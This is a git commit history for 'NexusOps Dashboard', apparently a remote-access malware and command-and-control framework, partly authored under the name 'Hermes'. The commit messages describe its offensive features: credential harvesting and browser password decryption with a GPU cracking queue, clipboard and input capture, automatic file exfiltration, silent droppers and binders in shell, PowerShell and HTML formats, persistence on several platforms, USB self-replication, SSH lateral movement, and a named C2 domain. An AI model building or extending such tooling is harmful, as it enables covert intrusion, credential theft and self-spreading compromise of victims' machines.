18 Commits

Author	SHA1	Message	Date
Hermes	b417f5c9b2	fixes: no-store cache headers on agent-facing routes; stale command cleanup	2026-10-02 02:43:27 +00:00
Hermes	8130de56fe	v2.6.0: BT Radar — consent-gated bluetooth scan/whitelist/push (paired-device consent model), /api/btradar, drawer BT panel; auto-crack.py for nightmare (chromium v10 offline decrypt verified)	2026-10-01 23:54:43 +00:00
Hermes	212d04f87d	GPU decrypt worker live on nightmare (systemd, token-authed queue pulls); decrypt endpoints accept agent token; README android+worker	2026-10-01 19:42:46 +00:00
Hermes	d3501f862a	v2.5.0: Android/Termux support — detection, persistence (bashrc+termux-boot), screenshots, openssh on 8022, android auto-tagging, /install-android.sh + universal Android branch, Android tab + icon; update_agent UA fix (CF 403 on Python-urllib) + default update URL in update-all	2026-10-01 18:52:22 +00:00
Hermes	965cba58b4	v2.4.0: pivot_fetch (fetch through node), clipboard capture, watch_dir auto-exfil, self-destruct TTL (14d default), dead-drop failover URLs, local cred decryption (Firefox+Chromium-v10)+GPU queue, per-node LLM analyst brief (nightmare ollama), topology capture+SVG map, critical-only Telegram alerts, ATTACK-PLAN tracker	2026-10-01 16:43:53 +00:00
Hermes	82fb92efb5	v2.3.0: lateral_movement (subnet SSH scan + keyless install), open_ssh (sshd + dashboard key + CONNECT line), spread-on-connect USB watcher, update-all-outdated endpoint+button, persistence toggle on ALL install paths, SSH/lateral/tooltips UI	2026-10-01 00:05:00 +00:00
Hermes	b1e320bda4	v2.2.0: USB self-replication (per-node toggle + 10min dispatcher), binder persistence option, hover terminology tooltips, binder embeds current token-injected agent, README full rewrite	2026-09-30 23:39:54 +00:00
Hermes	a40f92ebd1	point-and-shoot: binary ships with agent token baked in; binder embeds CURRENT token-injected agent (was stale hardcoded pre-auth copy)	2026-09-30 23:04:13 +00:00
Hermes	67b27bb1a2	completeness pass 2: agent-token auth on /api/agent/*, token-injected agent.py downloads, export-all zip endpoint, node detail drawer (metrics/loot/tags/ping), screenshot watch mode, honest Linux-only binary note, token-aware binary command, watch-state render persistence	2026-09-30 01:19:43 +00:00
Hermes	ec705d9a49	completeness: agent version tracking (register+heartbeat+card chip), rebuild stale /bin/NexusAgent (Aug3->current), backup pre-change	2026-09-30 00:48:20 +00:00
hermes	33dd524196	v2: live console (SSE+fast-poll), scheduled tasks, tag-group commands, CPU sparklines, dead-node alerts	2026-09-23 19:40:36 +00:00
root	e3e5865419	feat: self-contained binder v2 — agent embedded directly, no curl required ... - /api/bind now embeds agent.py as base64 (fully offline install) - New HTML format: one-click browser payload (auto-downloads file) - PS1 format: Windows dropper with embedded agent + schtasks persistence - SH format (default): Linux/macOS dropper, extracts both file + agent - Agent installs to /opt/network-agent/ with systemd or launchd persistence - Frontend: format selector (SH/PS1/HTML) in binder modal - Verified: both payloads extract correctly, agent.py passes py_compile	2026-08-07 05:33:55 +00:00
root	c966cb0a28	fix: audit bugs — debounce saveData, CSV escape, switchTab event param, exfil size cap, shell injection, launchctl bootstrap ... - server.js: debounce saveData to max 1 write/15s (was every heartbeat) - server.js: proper CSV escaping (_csvEscape) for node export endpoint - server.js: replace deprecated String.substr() with String.slice() - agent.py: 50MB size cap on download_file to prevent OOM - agent.py: shlex.quote() server_url in crontab persistence (shell injection) - agent.py: replace deprecated launchctl load with bootstrap/bootout/kickstart - app.js: pass event param to switchTab() (global event deprecated) - app.js: fix lootDownload URL revocation (60s → safe for slow downloads)	2026-08-07 00:59:07 +00:00
NexusOps	4da56b5874	C2: canonical public endpoint agent.thetempleofdoom.com for all agent installers	2026-08-04 00:11:59 +00:00
root	0dcbbffbaa	feat: operator auth (Bearer+WS 4401), atomic saves, WS heartbeat, Loot viewer (files+creds+screenshots), auth gate, WS reconnect backoff, empty-state hero, toasts	2026-08-03 14:21:08 +00:00
root	23d7271226	v3: universal auto-installer, silent mode, silent binders	2026-08-03 13:25:52 +00:00
root	e453ccda36	v2: persistence, file exfil, screenshot, harvest creds, auto-update, persistence fallbacks	2026-08-03 13:18:05 +00:00
root	2922675a50	NexusOps Dashboard — node control, input capture, file binder, kill switch	2026-08-03 13:10:45 +00:00